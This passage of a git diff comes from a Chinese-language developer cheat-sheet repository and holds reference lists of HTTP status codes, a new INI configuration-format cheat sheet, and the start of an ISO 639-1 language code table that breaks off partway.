* [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理,但处理未完成_<!--rehype:tooltips-->
|
||||
* [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本,而不是来自原始服务器_<!--rehype:tooltips-->
|
||||
* [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头,但响应中没有实体主体_<!--rehype:tooltips-->
|
||||
* [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
|
||||
* [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
|
||||
- [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
|
||||
- [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成,并创建了一个新资源_<!--rehype:tooltips-->
|
||||
- [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理,但处理未完成_<!--rehype:tooltips-->
|
||||
- [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本,而不是来自原始服务器_<!--rehype:tooltips-->
|
||||
- [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头,但响应中没有实体主体_<!--rehype:tooltips-->
|
||||
- [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
|
||||
- [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
|
||||
|
||||
### 4xx. 客户端错误
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
* [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
|
||||
* [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
|
||||
* [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
|
||||
* [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
|
||||
* [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
|
||||
* [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
|
||||
* [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
|
||||
* [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证,然后才能提供此请求_<!--rehype:tooltips-->
|
||||
* [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
|
||||
* [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突,请求无法完成_<!--rehype:tooltips-->
|
||||
* [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
|
||||
* [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它,服务器将不会接受请求_<!--rehype:tooltips-->
|
||||
* [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
|
||||
* [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求,因为请求实体太大_<!--rehype:tooltips-->
|
||||
* [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求,因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
|
||||
* [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求,因为不支持媒体类型_<!--rehype:tooltips-->
|
||||
* [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
|
||||
* [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
|
||||
* [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求,但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
|
||||
* [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
|
||||
- [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
|
||||
- [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
|
||||
- [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
|
||||
- [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
|
||||
- [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
|
||||
- [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
|
||||
- [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
|
||||
- [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证,然后才能提供此请求_<!--rehype:tooltips-->
|
||||
- [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
|
||||
- [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突,请求无法完成_<!--rehype:tooltips-->
|
||||
- [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
|
||||
- [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它,服务器将不会接受请求_<!--rehype:tooltips-->
|
||||
- [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
|
||||
- [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求,因为请求实体太大_<!--rehype:tooltips-->
|
||||
- [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求,因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
|
||||
- [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求,因为不支持媒体类型_<!--rehype:tooltips-->
|
||||
- [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
|
||||
- [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
|
||||
- [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求,但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
|
||||
- [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
|
||||
|
||||
### 1xx. 信息
|
||||
|
||||
* [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分,但只要没有被拒绝,客户端就应该继续请求_<!--rehype:tooltips-->
|
||||
* [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
|
||||
* [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
|
||||
- [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分,但只要没有被拒绝,客户端就应该继续请求_<!--rehype:tooltips-->
|
||||
- [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
|
||||
- [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
|
||||
|
||||
### 3xx. 重定向
|
||||
|
||||
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
|
||||
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url _<!--rehype:tooltips-->
|
||||
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url _<!--rehype:tooltips-->
|
||||
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
|
||||
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
|
||||
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
|
||||
* [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用,但代码被保留_<!--rehype:tooltips-->
|
||||
* [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
|
||||
- [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
|
||||
- [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
|
||||
- [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
|
||||
- [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
|
||||
- [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
|
||||
- [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
|
||||
- [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用,但代码被保留_<!--rehype:tooltips-->
|
||||
- [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
|
||||
|
||||
### 5xx. 服务器错误
|
||||
|
||||
* [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
|
||||
* [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
|
||||
* [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
|
||||
* [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
|
||||
* [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
|
||||
* [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
|
||||
- [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
|
||||
- [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
|
||||
- [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
|
||||
- [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
|
||||
- [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
|
||||
- [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
|
||||
|
||||
### RESTful API
|
||||
|
||||
@ -128,4 +128,4 @@ HTTP 状态码
|
||||
- [List of FTP server return codes](https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes) _(wikipedia.org)_
|
||||
- [HTTP概述](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Overview) _(mozilla.org)_
|
||||
- [Help for HTTP error 403: “Forbidden”](http://www.getnetgoing.com/HTTP-403.html) _(getnetgoing.com)_
|
||||
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_
|
||||
- [实用的 RESTful API 最佳实践](https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api) _(vinaysahni.com)_
|
||||
|
185
docs/ini.md
Normal file
185
docs/ini.md
Normal file
@ -0,0 +1,185 @@
|
||||
INI 备忘清单
|
||||
====
|
||||
|
||||
这是理解和编写 INI 格式配置文件的快速参考备忘单,此清单包含配置的内容,结构和语法等内容。
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
|
||||
INI 是一种固定标准格式的配置文件,INI配置方法来自 MS-DOS 操作系统
|
||||
|
||||
```ini
|
||||
; 这里是注释
|
||||
[owner]
|
||||
name=John Doe
|
||||
organization=Acme Products
|
||||
|
||||
[database]
|
||||
; 这里是注释
|
||||
server=192.0.2.42
|
||||
port=143
|
||||
file="acme payroll.dat"
|
||||
```
|
||||
|
||||
现在已成为许多配置的非正式标准,其它操作系统可能使用 `.conf` 或 `.cfg` 作为后缀
|
||||
|
||||
### 稳定的特性
|
||||
|
||||
- 基本元素是键或属性
|
||||
- 每个键由`名称`和`值`构成,等号 (=) 分隔
|
||||
- `键名称`显示在等号的`左侧`
|
||||
- `等号`和`分号`是`保留`字符
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
name = value
|
||||
```
|
||||
|
||||
与下面👇 JSON 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"name": "value"
|
||||
}
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
注释 (`;`)
|
||||
|
||||
```ini
|
||||
; 这里是注释文本,将被忽略
|
||||
```
|
||||
|
||||
注释 (`#`)
|
||||
|
||||
```ini
|
||||
# 这里是注释文本,⚠️ 部分编译器支持
|
||||
```
|
||||
|
||||
一行之后的注释 (`;`,`#`) _(不标准)_
|
||||
|
||||
```ini
|
||||
var = a ; 这是一个内联注释
|
||||
foo = bar # 这是另一个内联注释
|
||||
```
|
||||
|
||||
在某些情况下注释必须单独出现在行上
|
||||
|
||||
### 部分(Sections)
|
||||
|
||||
- 名称单独出现在一行中
|
||||
- 名称在方括号 `[` 和 `]` 中
|
||||
- 没有明确的 `section 结束` 分隔符
|
||||
- 在下一个 `section` 声明处或文件末尾处结束
|
||||
- 部分和属性名称不区分大小写
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
```ini
|
||||
[section]
|
||||
key1 = a
|
||||
key2 = b
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```json
|
||||
{
|
||||
"section": {
|
||||
"key1": "a",
|
||||
"key2": "b"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 嵌套(部分解析器支持)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
|
||||
[section.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io"
|
||||
"subsection": {
|
||||
"foo": "bar"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
嵌套到上一节(简写)
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
[.subsection]
|
||||
foo = bar
|
||||
```
|
||||
|
||||
### 转义字符
|
||||
|
||||
序列 | 意思
|
||||
:- | :-
|
||||
`\\` | \ (单个反斜杠,转义转义字符)
|
||||
`\'` | 撇号
|
||||
`\"` | 双引号
|
||||
`\0` | 空字符
|
||||
`\a` | 铃声/警报/声音
|
||||
`\b` | 退格键,某些应用程序的[贝尔字符](https://en.wikipedia.org/wiki/Bell_character)
|
||||
`\t` | 制表符
|
||||
`\r` | 回车
|
||||
`\n` | 换行
|
||||
`\;` | 分号
|
||||
`\#` | 数字符号
|
||||
`\=` | 等号
|
||||
`\:` | 冒号
|
||||
`\x????` | 十六进制代码点的 Unicode 字符对应于 ????
|
||||
|
||||
### 数组
|
||||
|
||||
```ini
|
||||
[section]
|
||||
domain = jaywcjlove.github.io
|
||||
array[]=first value
|
||||
array[]=second value
|
||||
```
|
||||
|
||||
与下面👇 `JSON` 大致相同
|
||||
|
||||
```js
|
||||
{
|
||||
"section": {
|
||||
"domain": "jaywcjlove.github.io",
|
||||
"array": [
|
||||
"first value", "second value"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 解释器
|
||||
|
||||
- [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_
|
||||
- [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_
|
||||
- [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_
|
||||
- [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_
|
||||
- [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_
|
||||
- [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_
|
||||
- [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
|
||||
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
|
||||
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
|
236
docs/iso-639-1.md
Normal file
236
docs/iso-639-1.md
Normal file
@ -0,0 +1,236 @@
|
||||
ISO 639-1 Language Code 备忘清单
|
||||
===
|
||||
|
||||
这是一个符合 ISO 639-1 标准的 ISO 语言代码列表,它为多语言网站提供参考。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) 是用于对语言进行分类的标准化命名法
|
||||
- [ISO 639-1](https://en.wikipedia.org/wiki/ISO_639-1) 代码涵盖世界主要语言
|
||||
- 这些代码是用于指示语言的有用的国际和正式速记
|
||||
- 两个字母的代码
|
||||
- 用于多语言网站,即国际化 (`i18n`)
|
||||
- [i18n](https://en.wikipedia.org/wiki/Internationalization_and_localization) 语言代码
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
ISO 639-1 代码列表
|
||||
----
|
||||
|
||||
### 完整代码
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
|
||||
:-|:-|:-|:-
|
||||
`aa` | 阿法尔语 | Afar | Afaraf
|
||||
`ab` | 阿布哈兹语 | Abkhaz | аҧсуа бызшәа
|
||||
`ae` | 阿维斯陀语 | Avestan | avesta
|
||||
`af` | 南非語 | Afrikaans | Afrikaans
|
||||
`ak` | 阿坎语 | Akan | Akan
|
||||
`am` | 阿姆哈拉语 | Amharic | አማርኛ
|
||||
`an` | 阿拉贡语 | Aragonese | aragonés
|
||||
`ar` | 阿拉伯语 | Arabic | اللغة العربية
|
||||
`as` | 阿萨姆语 | Assamese | অসমীয়া
|
||||
`av` | 阿瓦尔语 | Avaric | авар мацӀ
|
||||
`ay` | 艾马拉语 | Aymara | aymar aru
|
||||
`az` | 阿塞拜疆语 | Azerbaijani | azərbaycan dili
|
||||
`ba` | 巴什基尔语 | Bashkir | башҡорт теле
|
||||
`be` | 白俄罗斯语 | Belarusian | беларуская мова
|
||||
`bg` | 保加利亚语 | Bulgarian | български език
|
||||
`bh` | 比哈尔语 | Bihari | भोजपुरी
|
||||
`bi` | 比斯拉马语 | Bislama | Bislama
|
||||
`bm` | 班巴拉语 | Bambara | bamanankan
|
||||
`bn` | 孟加拉语 | Bengali | বাংলা
|
||||
`bo` | 藏语 | Tibetan | བོད་ཡིག
|
||||
`br` | 布列塔尼语 | Breton | brezhoneg
|
||||
`bs` | 波斯尼亚语 | Bosnian | bosanski jezik
|
||||
`ca` | 加泰隆语 | Catalan | Català
|
||||
`ce` | 车臣语 | Chechen | нохчийн мотт
|
||||
`ch` | 查莫罗语 | Chamorro | Chamoru
|
||||
`co` | 科西嘉语 | Corsican | corsu
|
||||
`cr` | 克里语 | Cree | ᓀᐦᐃᔭᐍᐏᐣ
|
||||
`cs` | 捷克语 | Czech | čeština
|
||||
`cu` | 古教会斯拉夫语 | Old Church Slavonic | ѩзыкъ словѣньскъ
|
||||
`cv` | 楚瓦什语 | Chuvash | чӑваш чӗлхи
|
||||
`cy` | 威尔士语 | Welsh | Cymraeg
|
||||
`da` | 丹麦语 | Danish | dansk
|
||||
`de` | 德语 | German | Deutsch
|
||||
`dv` | 迪维西语 | Divehi | Dhivehi
|
||||
`dz` | 不丹语 | Dzongkha | རྫོང་ཁ
|
||||
`ee` | 埃维语 | Ewe | Eʋegbe
|
||||
`el` | 现代希腊语 | Greek | Ελληνικά
|
||||
`en` | 英语 | English | English
|
||||
`eo` | 世界语 | Esperanto | Esperanto
|
||||
`es` | 西班牙语 | Spanish | Español
|
||||
`et` | 爱沙尼亚语 | Estonian | eesti
|
||||
`eu` | 巴斯克语 | Basque | euskara
|
||||
`fa` | 波斯语 | Persian | فارسی
|
||||
`ff` | 富拉语 | Fula | Fulfulde
|
||||
`fi` | 芬兰语 | Finnish | suomi
|
||||
`fj` | 斐济语 | Fijian | Vakaviti
|
||||
`fo` | 法罗语 | Faroese | føroyskt
|
||||
`fr` | 法语 | French | Français
|
||||
`fy` | 弗里西亚语 | Western Frisian | Frysk
|
||||
`ga` | 爱尔兰语 | Irish | Gaeilge
|
||||
`gd` | 苏格兰盖尔语 | Scottish Gaelic | Gàidhlig
|
||||
`gl` | 加利西亚语 | Galician | galego
|
||||
`gn` | 瓜拉尼语 | Guarani | avañe'ẽ
|
||||
`gu` | 古吉拉特语 | Gujarati | ગુજરાતી
|
||||
`gv` | 马恩岛语 | Manx | Gaelg
|
||||
`ha` | 豪萨语 | Hausa | هَوُسَ
|
||||
`he` | 希伯来语 | Hebrew | עברית
|
||||
`hi` | 印地语 | Hindi | हिन्दी
|
||||
`ho` | 希里莫图语 | Hiri Motu | Hiri Motu
|
||||
`hr` | 克罗地亚语 | Croatian | Hrvatski
|
||||
`ht` | 海地克里奥尔语 | Haitian | Kreyòl ayisyen
|
||||
`hu` | 匈牙利语 | Hungarian | magyar
|
||||
`hy` | 亚美尼亚语 | Armenian | Հայերեն
|
||||
`hz` | 赫雷罗语 | Herero | Otjiherero
|
||||
`ia` | 因特语 | Interlingua | Interlingua
|
||||
`id` | 印尼语 | Indonesian | Bahasa Indonesia
|
||||
`ie` | 西方国际语 | Interlingue | Interlingue
|
||||
`ig` | 伊博语 | Igbo | Asụsụ Igbo
|
||||
`ii` | 四川彝语(诺苏语) | Nuosu | ꆈꌠ꒿ Nuosuhxop
|
||||
`ik` | 伊努皮克语 | Inupiaq | Iñupiaq
|
||||
`io` | 伊多语 | Ido | Ido
|
||||
`is` | 冰岛语 | Icelandic | Íslenska
|
||||
`it` | 意大利语 | Italian | Italiano
|
||||
`iu` | 因纽特语 | Inuktitut | ᐃᓄᒃᑎᑐᑦ
|
||||
`ja` | 日语 | Japanese | 日本語
|
||||
`jv` | 爪哇语 | Javanese | basa Jawa
|
||||
`ka` | 格鲁吉亚语 | Georgian | ქართული
|
||||
`kg` | 刚果语 | Kongo | Kikongo
|
||||
`ki` | 基库尤语 | Kikuyu | Gĩkũyũ
|
||||
`kj` | 宽亚玛语 | Kwanyama | Kuanyama
|
||||
`kk` | 哈萨克语 | Kazakh | қазақ тілі
|
||||
`kl` | 格陵兰语 | Kalaallisut | kalaallisut
|
||||
`km` | 高棉语 | Khmer | ខេមរភាសា
|
||||
`kn` | 卡纳达语 | Kannada | ಕನ್ನಡ
|
||||
`ko` | 朝鲜语、韩语 | Korean | 한국어
|
||||
`kr` | 卡努里语 | Kanuri | Kanuri
|
||||
`ks` | 克什米尔语 | Kashmiri | कश्मीरी
|
||||
`ku` | 库尔德语 | Kurdish | Kurdî
|
||||
`kv` | 科米语 | Komi | коми кыв
|
||||
`kw` | 康沃尔语 | Cornish | Kernewek
|
||||
`ky` | 吉尔吉斯语 | Kyrgyz | Кыргызча
|
||||
`la` | 拉丁语 | Latin | latine
|
||||
`lb` | 卢森堡语 | Luxembourgish | Lëtzebuergesch
|
||||
`lg` | 卢干达语 | Ganda | Luganda
|
||||
`li` | 林堡语 | Limburgish | Limburgs
|
||||
`ln` | 林加拉语 | Lingala | Lingála
|
||||
`lo` | 老挝语 | Lao | ພາສາ
|
||||
`lt` | 立陶宛语 | Lithuanian | lietuvių kalba
|
||||
`lu` | 卢巴语 | Luba-Katanga | Tshiluba
|
||||
`lv` | 拉脱维亚语 | Latvian | latviešu valoda
|
||||
`mg` | 马达加斯加语 | Malagasy | fiteny malagasy
|
||||
`mh` | 马绍尔语 | Marshallese | Kajin M̧ajeļ
|
||||
`mi` | 毛利语 | Māori | te reo Māori
|
||||
`mk` | 马其顿语 | Macedonian | македонски јазик
|
||||
`ml` | 马拉雅拉姆语 | Malayalam | മലയാളം
|
||||
`mn` | 蒙古语 | Mongolian | Монгол хэл
|
||||
`mo` | 摩尔达维亚语 | Moldovan | Лимба молдовеняскэ
|
||||
`mr` | 马拉地语 | Marathi | मराठी
|
||||
`ms` | 马来语 | Malay | Bahasa Malaysia
|
||||
`mt` | 马耳他语 | Maltese | Malti
|
||||
`my` | 缅甸语 | Burmese | ဗမာစာ
|
||||
`na` | 瑙鲁语 | Nauru | Ekakairũ Naoero
|
||||
`nb` | 书面挪威语 | Norwegian Bokmål | Norsk bokmål
|
||||
`nd` | 北恩德贝莱语 | Northern Ndebele | isiNdebele
|
||||
`ne` | 尼泊尔语 | Nepali | नेपाली
|
||||
`ng` | 恩敦加语 | Ndonga | Owambo
|
||||
`nl` | 荷兰语 | Dutch | Nederlands
|
||||
`nn` | 新挪威语 | Norwegian Nynorsk | Norsk nynorsk
|
||||
`no` | 挪威语 | Norwegian | Norsk
|
||||
`nr` | 南恩德贝莱语 | Southern Ndebele | isiNdebele
|
||||
`nv` | 纳瓦霍语 | Navajo | Diné bizaad
|
||||
`ny` | 尼扬贾语 | Chichewa | chiCheŵa
|
||||
`oc` | 奥克语 | Occitan | occitan
|
||||
`oj` | 奥杰布瓦语 | Ojibwe | ᐊᓂᔑᓈᐯᒧᐎᓐ
|
||||
`om` | 奥罗莫语 | Oromo | Afaan Oromoo
|
||||
`or` | 奥里亚语 | Oriya | ଓଡ଼ିଆ
|
||||
`os` | 奥塞梯语 | Ossetian | ирон æвзаг
|
||||
`pa` | 旁遮普语 | Panjabi | ਪੰਜਾਬੀ
|
||||
`pi` | 巴利语 | Pāli | पाऴि
|
||||
`pl` | 波兰语 | Polish | Polski
|
||||
`ps` | 普什图语 | Pashto | پښتو
|
||||
`pt` | 葡萄牙语 | Portuguese | Português
|
||||
`qu` | 克丘亚语 | Quechua | Runa Simi
|
||||
`rm` | 罗曼什语 | Romansh | rumantsch grischun
|
||||
`rn` | 基隆迪语 | Kirundi | Ikirundi
|
||||
`ro` | 罗马尼亚语 | Romanian | Română
|
||||
`ru` | 俄语 | Russian | Русский
|
||||
`rw` | 卢旺达语 | Kinyarwanda | Ikinyarwanda
|
||||
`sa` | 梵语 | Sanskrit | संस्कृतम्
|
||||
`sc` | 撒丁语 | Sardinian | sardu
